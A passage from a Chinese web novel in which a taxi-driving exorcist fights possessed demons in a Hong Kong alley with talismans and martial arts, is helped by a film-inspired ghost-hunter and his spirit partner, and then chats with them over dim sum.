古德听到这威胁,非但没怕,反而嗤笑一声,脸上满是不屑:
“呵,连对手的底细都没摸清楚,就敢这么大大咧咧地找上门来?谁给你们的勇气?梁静茹吗?”
“梁静茹是谁?和勇气什么关系?”
**在一旁听得一头雾水,下意识地小声嘀咕,脑子还在努力回想这个陌生的名字是谁,很出名吗?
就在他分神的这一刹那!
古德动了!
话音未落,他捏着镜片的手指猛地一弹!
动作快如闪电!
“咻!咻!”
两声极其轻微的破空声响起。
那两个绘制着血符的玻璃镜片,如同被强弓劲**射出,化作两道模糊的白光,分别精准地射向那个说话的卷发高大男子,以及他身后左侧一个留着平头、面容阴鸷的男人。
与此同时,古德脚下猛地发力。
八极拳展开,身形如猎豹般窜出。
直扑向三人中右侧那个身材相对矮小、留着可笑蘑菇头发型的男人。
他选择先解决这个看起来最弱的,打开突破口。
这一切发生得太快,电光石火之间!
**还保持着握着破木棍、一脸“梁静茹到底是谁”的懵逼状态,嘴巴半张着,完全没反应过来。
“阿巴阿巴……”
他看着古德冲出去的背影,又看看那两道射出的白光,脑子彻底宕机了。
第21章 那个突然出现的皮衣男
两枚绘制着血符的玻璃镜片,如同两道微弱的流星,精准地命中目标!
“噗!噗!”
两声轻响,镜片分别打在了卷发高大男子和那个平头阴鸷男的胸口黑袍上。
没有惊天动地的**,但效果却立竿见影!
“嗷——!!!”
“呃啊——!!!”
两声凄厉的、完全不似人声的惨嚎猛地从两个黑袍男子口中爆发出来。
那声音尖锐刺耳,充满了痛苦和惊惧。
仿佛那不是两片轻薄的玻璃,而是两块烧红的烙铁,或者泼洒的浓硫酸!
被击中的地方,他们的黑袍瞬间冒起阵阵浓郁的黑烟,发出“滋滋”的腐蚀声响。
透过破损的袍子,可以看到下面的皮肤迅速变得焦黑、溃烂!
两人像是被踩了尾巴的猫,疯狂地拍打着胸口,身体剧烈地抽搐、扭曲,试图摆脱那带来极致痛苦的镜片。
浓郁的、令人作呕的焦臭味混合着阴冷的气息瞬间在巷子里弥漫开来。
就在镜片命中的同时,古德也已经冲到了那个蘑菇头矮小男子的面前。
“找死!”蘑菇头男子虽然惊愕于同伴的遭遇,但反应极快。
他嘶吼一声,声音尖锐,双臂猛地抬起,十指指甲瞬间变得乌黑发亮,如同十根小小的黑色利刃,带着一股阴冷的腥风,直插古德的心口。
古德不闪不避,LV2的八极拳本能反应。
一记简洁凶猛的“顶心肘”狠狠撞出,后发先至。
“砰!”
肘尖精准地撞在蘑菇头的手腕上,发出一声闷响。
蘑菇头痛哼一声,只感觉手腕像是撞上了铁柱,指甲传来的阴毒劲力被刚猛无比的肘击硬生生撞散。
他踉跄着后退一步。
但古德的攻击连绵不绝。
撞开利爪的瞬间,右脚如同铁鞭般扫出,直取对方下盘。
八极拳,讲究的就是贴身短打,猛起硬落。
蘑菇头显然没料到古德身手如此刚猛迅捷,仓促间只能交叉双臂格挡。
“啪!”
又是一声闷响,蘑菇头被扫得下盘不稳,再次后退。
然而,另外两个黑袍男虽然被镜片所伤,痛苦不堪,但并未失去行动能力。
他们强忍着剧痛,眼中冒出怨毒的红光,几乎同时嘶吼着扑了上来!
卷发男一拳捣向古德后心,拳风带着一股冰冷的恶臭。
平头男则张开五指,指尖黑气缭绕,抓向古德的脖颈。
古德腹背受敌。
他猛地一个矮身旋踢,逼退身后的卷发男,同时手臂格挡,架开平头男的利爪。
但双拳难敌四手,更何况是三个被激怒的、拥有非人力量的影魇。
就在他格挡平头男的瞬间,那个刚刚被逼退的蘑菇头找到了空隙。
他如同鬼魅般贴地窜近,乌黑的利爪闪电般探出,无声无息地抓向了古德的右侧后背。
“嗤啦——!”
一声布帛撕裂的声响!
古德只感觉后背一阵火辣辣的剧痛传来,忍不住闷哼一声。
那爪子上蕴含的阴冷气息瞬间侵入体内,让他半边身子都微微一麻。
他脚下发力,猛地向后蹬踏,借力脱离了战圈,踉跄着退回到**身边,额头上瞬间冒出了一层冷汗。
“阿德!你没事吧?!”
**这才从极度的震惊中回过神来,连忙扶住古德,看到他后背衬衫被抓破,几道深可见血的伤口正渗出暗红色的血液,周围的皮肤隐隐发黑。
这场面太过诡异和骇人,完全超出了他这个老出租佬的认知范围。
“没……没事!”
古德咬了咬牙,后背火烧火燎又带着阴冷的疼痛。
打脸来的太快,刚还在嘲讽对方没打探他的底细。
转头没有符箓在手,一打三,他还真打不过这三个影魇。
古德苦笑道:“大海哥,现在你信我晚上是去驱邪了吧?对付的就是这群人不人鬼不鬼的东西!”
他快速低声道:“我的符箓和家伙都放在车里了,没带在身上!
等会儿我想办法拖住他们,你找机会溜出去,到我车上,副驾驶下面有个蓝色的帆布挎包,帮我拿过来!那是救命的东西!”
**虽然吓得腿肚子都在转筋,三观碎了一地,但看到古德受伤还想着保护自己,一股江湖义气涌了上来。
他用力点了点头,嘴唇哆嗦着但语气坚定:“好!阿德你撑住!我……我拼了老命也给你把包拿来!”
那三个黑袍男暂时没有追击。
卷发男和平头男胸口还在冒着细微的黑烟,脸色狰狞痛苦。
蘑菇头则甩着手上沾着的古德的鲜血,脸上露出残忍得意的笑容。
卷发男声音嘶哑地冷笑道:“开出租的!你以为你们还跑得掉吗?今晚你毁了我们两个兄弟,又把我们这两具皮囊也毁了!我们不会再有任何顾忌!一定要把你大卸八块!”
古德眼神彻底冷了下来。
看来今天没法善了,必须拼命了!
要是再多苟几天,多攒点公里数把法力点出来,对付这三个家伙也不会这么狼狈。
或者随身带着护身符,也能护着**出去。
这一次的教训,古德是记住了。
“看来只能梭哈了……”
古德心一横,准备将存下的600多点数全部加到体质和精神上,先撑过眼前这一关再说。
就在他意念即将触动系统加点的瞬间——
一个冷冷的声音,带着点玩世不恭的腔调,突然从众人头顶上方传了下来:
“哦?是吗?但是我觉得……他今天晚上肯定能逃过去。倒是你们三个杂碎,恐怕要完蛋了。”
这声音来得突兀,让原本剑拔**张的巷子瞬间陷入了一种诡异的寂静。
所有人都下意识地抬头望去。
只见旁边那栋旧楼的墙壁上,大约五米高的地方,有一个突出的空调外机平台。
平台上,不知何时,竟然站着一个人。
那人穿着一身黑色的皮夹克,搭配着修身牛仔裤,脖子上挂着一条亮闪闪的银色吊坠。
留着一头利落的中短发,脸上……还戴着一副遮住了半张脸的墨镜!
他单脚踩在平台边缘,一只手插在裤袋里,
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另一只手随意地垂着,摆着一个自以为很酷的姿势。
夜风吹动他的衣角和发梢。
古德嘴角忍不住抽搐了一下。
心里疯狂吐槽:“这哥们谁啊?六月份大半夜的,穿皮夹克?他不热吗?还有,乌漆嘛黑的戴个墨镜,装给鬼看啊?能看清楚路吗?!”
但下一秒,古德的目光凝固了。
他看到,在那个墨镜装逼男的身旁,还飘着另一个“人”!
那是一个身材异常壮硕的男人,穿着简单的黑色背心,肌肉虬结。
头发根根竖起,像只暴躁的刺猬。
他的身体有些半透明,双脚离地几寸,就那么悬空飘着!
那个刺猬头壮汉发现古德看向他,居然还对古德咧嘴笑了一下,露出一口白牙,笑容有点憨。
古德脑子里灵光一闪!
这个组合……太眼熟了!
“难道是……《异灵灵异》里的那对‘一人一鬼’搭档?!”
古德心中剧震。
穿皮夹克戴墨镜装酷的就是谢霆风扮演活人警察,配上这个憨憨壮壮的鬼搭档……
没错!就是他们!
那个墨镜男看到下面所有人都愣愣地看着他,似乎很满意这种出场效果。
但他等了几秒,发现没人接话,场面有点冷,略显尴尬地咳嗽了一声:“喂喂喂,好歹给点反应啊?理我一下啊各位?”
古德一阵无语。
电影里谢霆风演的这个角色不是走高冷路线的吗?
怎么现实里看起来有点……逗比和中二?
不过他还是接了一句,给这位天降神兵一个台阶下:“不知阁下是何方高人?”
谢潮见有人搭话,立刻来了精神。
他脚在平台边缘轻轻一蹬,身形潇洒地一个空翻,稳稳地落在巷子中间,正好挡在古德和那三个黑袍男之间。
落地时,皮夹克下摆扬起,他还不忘用手扶了一下墨镜。
他抬起下巴,用自以为很冷酷的声音说道:
“我叫谢潮。你可以叫我阿潮,可以叫我潮,但是——”
他拖长了音调,“绝对不能叫我全名!旁边飘着的这个傻大个,是我的搭档阿灿。我们先联手把这三个影魇解决了再说!”
古德看着他这一连串故作高冷实则中二爆表的表演,忍不住在心里继续吐槽:“别装了兄弟,你的人设从你出场那一刻起就已经崩塌得稀碎了……”
不过吐槽归吐槽,帮手来了总是好事。
古德立刻回道:“我的符箓和法器都放在外面的车里了,现在没有直接对付他们的趁手东西。谢……阿潮,你有什么办法?”
那三个黑袍男在谢潮出现后,就显得有些惊疑不定。
尤其是看到那个飘着的刺猬头壮汉鬼魂时,他们身上散发出的阴冷气息都波动了一下,明显露出了忌惮的神色。
此刻看到谢潮和古德居然当着他们的面聊起来了,完全没把他们放在眼里,顿时感到一种被羞辱的愤怒!
卷发男色厉内荏地吼道:“哪里来的两个不知死活的小子!敢管我们‘怪谈协会’的闲事!你们找死吗?!”
第22章 谢潮和阿灿
卷毛男那色厉内荏的吼声,打断了谢潮正准备继续摆造型的兴致。
旁边的**则是一脸懵圈,他使劲揉了揉眼睛,看了看谢潮,又看了看空荡荡的四周,小声嘀咕:
“两个人?哪来的两个人?这卷毛是不是被打傻了?明明就一个穿皮夹克的小子啊……”
他完全看不到飘在谢潮身边那个刺猬头壮汉鬼魂阿灿。
谢潮扶了扶墨镜,对着那三个黑袍男冷笑一声,语气带着一种嚣张:
“哼!我找的就是你们‘怪谈协会’的杂碎!最近你们这帮见不得光的东西活跃得很啊?
害了多少条人命了?今天碰上我,算你们倒霉,我就是专门来收你们的!”
卷发男脸色猛地一变,似乎没想到对方竟然直接点破了他们的来历。
他张开嘴,还想放几句狠话……
但谢潮根本不给他机会!
只见他突然从皮夹克内侧掏出三个小巧的玻璃瓶,里面装着某种清澈透明的液体。
他手腕一抖,动作快如闪电,三个玻璃瓶精准地朝着三个黑袍男劈头盖脸地扔了过去!
“啪!啪!啪!”
玻璃瓶砸在三个黑袍男身上瞬间碎裂,里面的液体溅了他们一身!
“啊——!”
更加凄厉的惨叫声响起!
那液体仿佛具有强烈的腐蚀性和某种特殊效力,一接触到他们的身体和黑袍,立刻冒起不同于之前的黑烟那种,更加浓郁的白烟。
他们的皮肤发出“滋滋”的声响,像是被强酸灼烧,痛苦地扭曲起来!
更诡异的是,在被液体溅到的瞬间,三个黑袍男的身体轮廓似乎都模糊了一下,仿佛有什么虚幻的东西要从他们体内被逼出来一样。
这是特制的“显形水”,不仅能对附身的鬼物造成伤害,还能极大程度地削弱它们对肉身的控制力!
“靓仔!”
谢潮头也不回地对古德喊道,语气轻松却带着不容置疑的自信。
“别担心!去你车里拿你的家伙!这里我先顶着!阿灿!我们上!”
话音未落,他整个人如同猎豹般扑出,目标直指那个受伤最轻的蘑菇头!
而他身边那个一直飘着的刺猬头壮汉阿灿,发出一声沉闷的低吼,半透明的身躯带着一股狂暴的阴风,猛地冲向那个胸口还在冒烟的卷发男!
巷子里瞬间再次陷入混乱的打斗!
拳脚碰撞声、嘶吼声、以及某种非人般的嚎叫声交织在一起!
古德看着谢潮和阿灿默契的配合,以及那三个被显形水削弱后明显动作迟滞的黑袍男,心里嘀咕:“我其实……并没有很担心……”
但他知道现在不是矫情的时候。
他一把拉住还在发愣的**:“大海哥!走!”
两人趁机迅速退出了混乱的小巷,重新跑回到灯火通明的茶餐厅门口。
**扶着膝盖,大口大口地喘着粗气,脸色苍白,惊魂未定。
刚才那一幕幕远超他几十年人生认知的画面,冲击力实在太强了。
古德则飞快地跑到自己的出租车旁,拉开车门。
他也顾不上后背火辣辣的疼痛,迅速脱掉那件被抓破的衬衫,露出精壮的上身和后背那几道触目惊心、隐隐发黑的伤口。
他从副驾驶座底下拽出那个深蓝色的帆布挎包,飞快地背在身上。
有了符箓和工具在手,他心里顿时踏实了一大半。
但他没有立刻返回巷子。
后背伤口处传来的那股阴冷刺痛感越来越强烈,像是有无数根冰针在往里钻,严重影响了他的集中力和身体灵活性。
这样贸然冲回去,不仅帮不上忙,反而可能成为累赘。
他快步走回茶餐厅门口,对**道:“大海哥,帮个忙!”
说着,他从挎包里抓出一大把雪白的糯米,塞到**手里:
“快!帮我把这些糯米用力按在我后背的伤口上!那鬼东西的阴气还缠在里面,得先**!”
这时,茶餐厅的门被推开,阿秀听到外面的动静,好奇地探出头来。
一眼就看到古德光着上身,后背几道狰狞的伤口还在渗着暗红色的血,周围皮肤一片不正常的青黑色!
“啊——!!!”
阿秀吓得发出一声尖叫,手里的抹布都掉在了地上,“古哥!你……你怎么受伤了?!怎么搞成这样?!要不要报警叫救护车啊?!”
古德忍着痛,尽量用平静的语气安慰道:“阿秀,别怕,我没事!一点意外,小伤而已,不用报警也不用叫救护车。”
他催促**:“大海哥!快点!用力按上去!”
**看着手里白花花的糯米,又看看古德后背那可怕的伤口,咽了口唾沫,一咬牙,心一横,双手抓着糯米,狠狠地按在了那几道伤口上!
“嘶——!!!”
糯米接触
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到伤口的瞬间,古德猛地倒吸一口凉气,身体剧烈地颤抖了一下,额头上的冷汗瞬间就下来了!
那感觉,就像是把烧红的烙铁按在了伤口上!
极致的灼痛感瞬间爆发!
但同时,伤口深处那股阴冷的刺痛感也像是遇到了克星,被猛烈地中和、驱散!
“哧……哧哧……”
细微的、如同热油遇冷水的声响从伤口处传来。
**手下的糯米以肉眼可见的速度迅速变黄、发黑,甚至有些米粒变得焦糊,仿佛被瞬间烤熟!
一股淡淡的、难以形容的腥臭焦糊味弥漫开来。
阿秀在一旁看得目瞪口呆,用手捂着嘴,眼睛瞪得溜圆,完全无法理解眼前这超乎常理的一幕。
剧烈的灼痛感来得快,去得也快。
几秒钟后,痛感逐渐减弱,取而代之的是一种难以形容的轻松和温热感。
后背那如附骨之疽的阴冷气息终于被彻底拔除!
古德长长地舒了一口气,感觉身体都轻快了不少。
他活动了一下肩膀,虽然皮肉伤还在疼,但已经不影响行动了。
他对**低声道:
“谢了,大海哥!你帮我跟阿秀解释一下,就说是……嗯……不小心跟人打架挂彩了,用土方子处理一下。我去帮里面那个穿皮夹克的装逼犯!”
说完,他不再耽搁,转身就朝着那条再次传来打斗声和怒吼声的小巷冲了过去。
身影迅速消失在昏暗的巷口。
**手里还抓着那把变得焦黄发黑的糯米,愣愣地看着古德消失的方向。
然后又转头看向一旁满脸惊恐和问号的阿秀。
他张了张嘴,感觉头皮发麻。
这该怎么解释?
说古德刚才和三个不是人的东西打了一架,还被鬼抓伤了,现在用糯米拔阴气?
他硬着头皮,挤出一个比哭还难看的笑容,对阿秀结结巴巴地说道:
“那个……阿秀啊……没事,没事……就是……就是阿德他刚才……嗯……跟几个小混混起了点冲突,不小心……挂了点彩……对,挂了点彩!
我们老家的土方子,用糯米……活血化瘀!对!活血化瘀!效果挺好的……你看,血都不流了……”
他自己说得都心虚,眼神飘忽不定。
阿秀将信将疑地看着**,又看了看巷子的方向,总觉得哪里不对劲,但一时又说不上来。
第23章 这枪真的很痛
古德冲回巷子时,眼前的景象让他稍微愣了一下。
他一来就看到常威在打来福....
咳,错了....是谢潮和那个飘在半空的刺猬头壮汉阿灿,正配合默契地对着那三个黑袍男拳打脚踢。
谢潮的身手相当利落,显然是受过专业训练,拳脚带着风声,专攻要害。
阿灿虽然是个鬼魂,但攻击方式更加蛮横,直接抡起沙包大的拳头硬砸,带起的阴风都能让人脸颊生疼。
那三个黑袍男,或者说,控制他们肉身的影魇被显形水削弱后,动作明显迟滞僵硬了许多,只能狼狈地格挡躲闪,身上时不时挨上一下,发出痛苦的闷哼。
他们嘴里发出愤怒憋屈的嘶吼,却完全被压制住了。
不过这场面虽然打得热闹,砰砰作响,但古德看得出来,这种物理攻击主要伤害的是他们暂时占据的肉身,对藏在里面的影魇真身伤害有限。
属于伤害性不大,侮辱性极强的类型。
古德的出现,立刻打破了巷子里暂时的平衡。
他手中已然夹着一张黄底朱砂的斩鬼符,虽然体内气息只恢复了一点,但足以激发符箓。
他毫不犹豫,口中疾速念诵:“太上老君教我杀鬼,与我神方!上呼玉女,收摄不祥……”
肃杀的咒语声在狭窄的巷子里响起,带着一种无形的威压!
那三个影魇立刻注意到了古德,尤其是感受到他手中那张符箓所蕴含的、足以让它们魂飞魄散的恐怖力量时,它们脸上的愤怒瞬间被巨大的恐惧所取代。
三个影魇惊恐地对视一眼,瞬间达成了共识。
跑!必须跑!
它们再也顾不上谢潮和阿灿的攻击,硬挨了几下,转身就想往巷子深处逃窜。
“——何神不伏,何鬼敢当?急急如律令!敕!”
古德的咒语恰在此时念完!
他手指一抖,斩鬼符无火自燃,化作一道凝练无比的金色流光,如同索命的箭矢,以肉眼难以捕捉的速度,精准地射向那个之前抓伤他的蘑菇头矮小男子。
“不——!!!”
蘑菇头只来得及发出一声绝望的尖嚎,金光便已没入他的后心!
他的身体猛地僵住,随即如同被点燃的纸人,从内而外冒出浓郁的黑烟,身体迅速软化、塌陷。
不过一两秒的功夫,就“噗嗤”一声,化作了一滩腥臭粘稠的黑水,只剩下一件空荡荡的黑袍泡在里面。
谢潮看到这一幕,墨镜后的眼睛里闪过一丝惊讶和精光,微微点了点头。
古德心里却有点遗憾。
斩鬼符就剩最后一张了,当然优先送给伤了自己的那个家伙。
可惜了。
另外两个影魇回头看到同伴瞬间化为黑水的惨状,吓得魂都快飞了,逃跑的速度更快了!
古德眼神一冷,想跑?
来找我麻烦的时候怎么不想想后果。
他双脚猛地发力,身形如离弦之箭,直冲向那个卷发男。
同时,他从挎包里掏出一张辟邪符。
虽然辟邪符没有斩鬼符那种直接灭魂的威力,但贴上去也足够这影魇喝一壶的,至少能让它痛苦不堪。
另一边,谢潮看到剩下的两个影魇要分头跑,冷哼一声:“想跑?”
他手往皮夹克内侧一掏,竟然摸出了一把造型奇特的**!
**通体呈现一种哑光银色,线条流畅,看起来非常科幻帅气,但最奇特的是它的**位置,那里赫然有一根细长的、闪着寒光的银色尖针。
谢潮看到古德冲向了卷发男,他便很自然地将枪口对准了那个试图往另一个方向逃窜的平头男。
没有过多的瞄准,谢潮扣动**!
“砰!”
一声略显沉闷的**响起,并非**武器的爆响,反而更像某种气压装置的声音。
一颗刻着细微符文的特制**旋转着射出,精准地命中了平头男的后心!
“嗷——!”
平头男发出一声非人的惨嚎,中弹处并没有流出多少鲜血,反而冒起一股黑烟,散发出焦臭味。
他奔跑的动作猛地一滞,身体如同之前的蘑菇头一样开始剧烈抽搐、融化,最终也化作了一滩黑水。
而此时,古德已经追上了那个卷发男。
他一个迅猛的扫堂腿,将踉跄逃跑的卷发男绊倒在地,然后不等他爬起来,一步上前,将手中的辟邪符狠狠地按在了他的胸口。
“滋啦——!”
仿佛热铁烙牛皮的声响响起。
“啊!!!”
卷发男发出杀猪般的凄厉惨叫,身体剧烈地抽搐起来,胸口被符箓按住的地方冒起阵阵青烟,皮肤迅速焦黑。
辟邪符的力量正在灼烧他的阴煞之气,让他痛苦万分,但确实无法像斩鬼符那样直接致命。
谢潮解决完平头男,潇洒地吹了一下并不存在的枪口烟雾,走到古德身边。
他看着地上不断惨叫挣扎的卷发男,扶了扶墨镜,有些好奇地问:“哥们,怎么不直接把他也送走?还留个活口?”
古德耸了耸肩:“留个活口问问话,看看能不能掏出点那个‘怪谈协会’的情报。再说,我的斩鬼符用完了,要不……等会儿用你的枪给他来个痛快?”
说着,他的目光不由自主地飘向了谢潮手里那把造型奇特的银色**。
这玩意儿太帅气了,是的男人都会被吸引,而且效果惊人。
谢潮闻言,倒是很爽快,随手就把**递向古德:“喏,你想试试?给你玩。不过这玩意儿**有个吸血针,用起来可有点痛。”
古德接过**,入手微沉,手感极佳。
他仔细打量,果然在**位置看到了那根醒目的吸血针。
他好奇地问:“这枪……什么原理?”
谢潮解释道:“这枪叫‘灭魂’。**上那根针,扣动**的时候会瞬间刺破使用者的指尖,吸取一点血液。
血液会激活枪膛里特制的‘驱邪**’,让**拥有诛灭邪灵的效果。算是……科技和玄学结合的产物吧。怎么样,要不要试试?保证手感独特。”
古德听着这原理,不禁心生感叹。
这个世界,正统的道法虽然没落了,但人类应对灵异的手段似乎也在进化,居然捣鼓出了这种专门针对鬼物的科技武器!
真是……挺神奇的。
他掂量了一下手里的灭魂枪,看着地上还在惨叫的卷发男,心里确实有点好奇和跃跃欲试。
咬破手指画符的痛都忍了,这针扎一下应该也没啥吧?
他
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举起枪,对准地上蜷缩的卷发男,冷声问道:
“喂,你们那个‘怪谈协会’的老巢在哪儿?说出来,给你个痛快。不然,我给你身上贴满辟邪符,你应该知道那滋味,求生不得求死不能!”
卷发男虽然痛苦得面目扭曲,浑身颤抖,却依然硬气,咬牙切齿地嘶吼道:
“呸!你做梦!会长……会长一定会为我们报仇的!有种你就贴!我看你有多少符!”
谢潮在一旁看着,从口袋里摸出一包烟,抽出一根,习惯性地想递给古德。
但手伸到一半,突然像是想起了什么极其尴尬的事情,动作猛地顿住,脸上露出一个极其不自然的笑容,又讪讪地想把烟缩回去。
古德看到他的动作,立刻明白过来。
电影里设定,谢潮是天煞孤星,谁收他的东西谁倒霉。
不过古德心里颇不以为然:老子是穿越加重生还带系统的,命硬得很!
还能被你这点天煞孤星的属性克到?
于是,在谢潮的手缩回去之前,古德非常自然、仿佛只是接朋友递烟一样,顺手就把那根烟拿了过来,叼在了自己嘴上。
他还对着谢潮扬了扬下巴,用眼神示意了一下地上的卷发男:
“这衰仔,嘴还挺硬,看来是对他那邪教协会忠心耿耿啊。那算了,不留了。”
说完,他不再犹豫,叼着烟,对准卷发男的胸口,扣动了**!
然而,古德前世今生都没摸过**,完全低估了这“灭魂枪”的后坐力,以及那根吸血针突然刺入指尖带来的剧痛和下意识反应!
“砰!”
**响起的同时——
“我靠!”古德的手腕猛地一抖!
枪口瞬间歪斜!
**几乎是擦着卷发男的身体,打在了他旁边的水泥地上,溅起一小撮灰尘和碎石屑!
差点就误伤了近在咫尺的谢潮的脚!
谢潮被这突如其来的一枪吓得猛地跳开一步,看着地上那个新鲜的弹孔,脸都白了!
他也顾不上什么天煞孤星的忌讳了,一把从古德手里抢回灭魂枪,心有余悸地抱怨道:
“**!大哥!你瞄准的是他还是我啊?!你这枪法……真是鬼都怕!算了算了,还是我自己来吧!下次想玩枪,先去枪会多练练再说!”
古德看着地上的弹孔,也是一阵后怕和尴尬,讪讪地笑了笑:“意外,纯属意外……这后坐力比想象的大,那针扎得也挺突然……”
谢潮没好气地白了古德一眼,不再废话,举起灭魂枪,对着地上那个因为差点被误杀而吓得暂时忘了惨叫的卷发男,干脆利落地补了一枪。
“砰!”
枪响,黑烟冒起,又一滩黑水形成。
巷子里终于彻底恢复了寂静,只剩下弥漫的硝烟、焦臭味和淡淡的血腥味。
古德看着谢潮熟练地收起枪,又看了看飘回来、一脸憨笑的壮鬼阿灿,感觉今晚的经历真是……丰富多彩。
他甩了甩头,对谢潮和阿灿说道:“走吧,这里不是说话的地方。去前面那家茶餐厅坐坐,我请客,顺便……我们聊一聊。”
说完,他带头朝着巷子外,陈氏兄妹那家还亮着灯的茶餐厅走去。
谢潮和阿灿对视一眼,也跟了上去。
第24章 这你都要收钱!
古德带着谢潮以及飘在空中看不见的阿灿走出昏暗的小巷,回到了“荣记茶餐厅”门口。
凌晨的空气带着凉意,但茶餐厅暖黄的灯光和食物的香气让人感到一丝安心。
**和阿秀还焦急地等在外面。
阿秀一看到古德回来,身边还跟着一个穿着皮夹克、戴着墨镜长相帅气的年轻男人,小脸不由得一红,小声问古德:“古哥,你没事吧?这位是……?”
古德笑了笑,介绍道:“没事了阿秀。这位是谢潮,你叫他潮哥就行。阿潮,这是阿秀,茶餐厅老板的妹妹。”
他又指了指**,“这位是**,大海哥,我同行。”
然后他看向谢潮和阿灿,虽然别人看不见阿灿,古德客气的问:“你们想吃点什么?随便点,我请客,感谢刚才帮忙。”
谢潮很随意地摆摆手:“我什么都行,能填饱肚子就好。”
而他身边飘着的阿灿则瓮声瓮气地开口,声音只有谢潮和古德能听到:“阿潮,我想吃干炒牛河!多加牛肉!”
古德点点头,对阿秀说:“阿秀,麻烦再给,我们上几笼虾饺、烧卖,两杯冻奶茶,再加一份……嗯,干炒牛河,牛肉加多点。”
他特意强调了最后一句。
阿秀乖巧地点点头,虽然有点好奇为什么古德要说再加一份,明明谢潮什么都没说。
她先是忍不住又多看了帅气的谢潮两眼,然后才想起什么,从身后拿出一件干净的格子衬衫递给古德:“古哥,这是我哥的衣服,你先穿着吧,别着凉了。”
她指了指古德光着的上身和后背虽然处理过但依旧明显的伤痕,脸色微红。
古德接过衬衫,道了声谢:“谢了阿秀,帮大忙了。”
他麻利地穿上衬衫,虽然有点紧,但总算不用光膀子了。
三人(在阿秀和**看来是两人)走进茶餐厅,找了个靠里的卡座坐下。
**看到古德确实没事,这才长长舒了一口气,心有余悸地对古德说:
“德仔啊……你今天真是把我这老骨头吓得不轻!我这过了几十年,也没遇到过这么邪门的事!”
古德不好意思地笑了笑:“大海哥,这次真是对不住,把你给卷进来了。这玩意给你,算是我的一点赔礼,也是给你防身。”
说着,他从挎包里拿出一张LV1的辟邪符,递给**。
**一听,眼睛顿时亮了!
他可是亲眼见识过古德的厉害,知道这可是真家伙,不是街上骗人的玩意!
他连忙双手接过,像是捧着什么宝贝一样,小心翼翼地折好放进贴身的衬衫口袋里,脸上笑开了花:
“哎呀,这怎么好意思……德仔你太客气了!那我……我就厚着脸皮收下了啊!多谢!多谢!”
他放好符箓,看了看古德,又看了看旁边气场有点冷的谢潮,很识趣地站起来:
“那什么……德仔,你们年轻人聊,我这老家伙就不打扰了。我先走了啊,单我已经买过了。”
他虽然很好奇古德和这个酷哥要谈什么,以及为什么古德刚才点餐时说了“你们”和“再加一份”,但他深知有些事情知道得越少越好,不该问的别多问。
**走后,卡座里就剩下古德和谢潮,以及飘在旁边空位上的阿灿。
阿灿对着谢潮嚷嚷:“阿潮,来支烟,憋**。”
谢潮面无表情地从皮夹克里掏出烟盒,抽出一支点燃,然后很自然地将燃着的香烟立着放在了阿灿面前的桌面上。
那香烟就这么凭空立着,烟灰缓缓燃烧,仿佛有一个看不见的人正在抽它。
谢潮对此**以为常,不再理会。
这次他似乎不在乎天煞孤星的忌讳,又抽出一支烟递给古德:“哥们,刚才忙忘了,还没请教,怎么称呼?”
古德很自然地接过烟,就着谢潮递过来的火点燃,吸了一口:
“古德。开出租的,同行都叫我德仔。你呢?谢潮……你好像认识我?”
他确实有点好奇,谢潮的出现似乎并非偶然。
这时,阿秀把点心、奶茶和那份加量的干炒牛河端了上来。
谢潮看到食物,眼睛微微一亮,也不客气,拿起筷子就夹了一个虾饺塞进嘴里,含糊不清地回答:
“唔……上两天,你是不是去深水埗福寿斋纸扎铺买过黄纸朱砂还有符笔?”
古德一听,顿时恍然大悟!
怪不得觉得那个秃头老板有点眼熟,眼神还那么意味深长。
原来他就是电影《异灵灵异》里那个神秘的纸扎铺老板。
“对,是有这么回事。”古德点点头,“那老板……”
谢潮狼吞虎咽地吃着东西,中间抽空回话:
“他是我们‘香江警务处特别事务处理科——异灵灵异组’的创始人,也算是我师父。不过目前他已经退休,异灵灵异组是我负责。
至于他的真名没人知道,道上都叫他‘纸扎陈’。”
古德嘴角忍不住抽搐了一下。
好家伙,名头还挺长,听起来挺唬人。
他接着问:“所以……你来找我,是你师父的意思?”
谢潮一边奋力对付着干炒牛河,一边点头:
“嗯。师父说察觉到似乎有个同行在买家伙,不像歪门邪道,就让我留意一下,看看是不是真有本事,值不值得吸收进我们异灵灵异组。”
古德听到这里,实在没忍住,吐槽道:
“我说阿潮……先不说你们这部门名字听起来像山寨组织。你就这么观察我?还有,你们招人都这么随便的吗?吃顿饭就发offer?”
他看着谢潮那饿死鬼投胎般的吃相,忍不住补充:“还有,你是饿了多久?”
谢潮终于把嘴里的食物咽下去,喝了口奶茶顺了顺,这才稍微正经了一点:
“为了盯着你和处理那三个影魇,我从昨天中午到现在都没吃东西,当然饿!”
他擦了擦嘴,看着古德,语气变得认真起来:
“我知道你也有阴阳眼,而且看样子是真懂行,不是骗子。怎么样?有没有兴趣加入我们?正规编制,福利待遇还不错。”
古德也收敛了笑容,认真地摇了摇头:
“谢了,阿潮。但我就是个开出租的,现在的兴趣
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也是开好我的出租车,赚点辛苦钱。而且,我也没兴趣给那位啥女皇打工。”
他话锋一转,“不过,你要是遇到什么棘手的事情,出得起报酬,我倒是不介意接点‘活,帮你解决一下。当然,今晚你帮了我,我欠你一次,可以免费帮你一回。”
谢潮听到古德的拒绝,脸上明显露出失望的神色,但还是试图争取一下:
“真不再考虑考虑?我们部门虽然人少,但权限挺大的,办案也方便……”
古德依旧笑着摇头:“真不考虑。不过,我觉得我们可以做朋友。”
“朋友”这两个字似乎触动了谢潮某根敏感的神经。
他愣了一下,墨镜下的眼神似乎波动了一下,但很快恢复了那种冷冷的、拒人于千里之外的样子。
他偏过头,声音变得有些生硬:“我不需要朋友。既然如此,那就算了。至于你说的付费帮忙……以后有需要,我会Call你的。”
说着,他就想起身离开。
古德看着他的反应,心里跟明镜似的。
他知道谢潮不是因为高傲,而是因为他那个“天煞孤星”的命格,害怕连累身边的人,所以才故意表现得这么孤僻冷漠。
这家伙,外表冷酷,内心说不定比谁都渴望友情。
古德耸了耸肩,没有继续说,反而他对那个神秘的“纸扎陈”产生了更大的兴趣。
他还没加点相术技能,但能提前见识一下这个世界真正高人的手段,绝对是好事。
他喊住已经站起身的谢潮:“哎,别急着走啊,阿潮。”
谢潮停下脚步,回头看他。
古德笑眯眯地说:“我对你师父纸扎陈倒是挺感兴趣的。能掐会算,还能看出我的底细?要不……你现在带我去见见他?说不定他还同意我们交个朋友呢?”
其实古德是想看看,纸扎陈是不是真有那么厉害的本事,他可是有系统护身的。
谢潮听到这话,明显愣了一下,似乎没想到古德会提出这个要求。
他沉默了几秒钟,虽然情绪依旧有些低落,但还是点了点头:“……好吧。他应该还没休息。”
古德快速把剩下的点心扫光,结账起身:“那走吧!坐我车!”
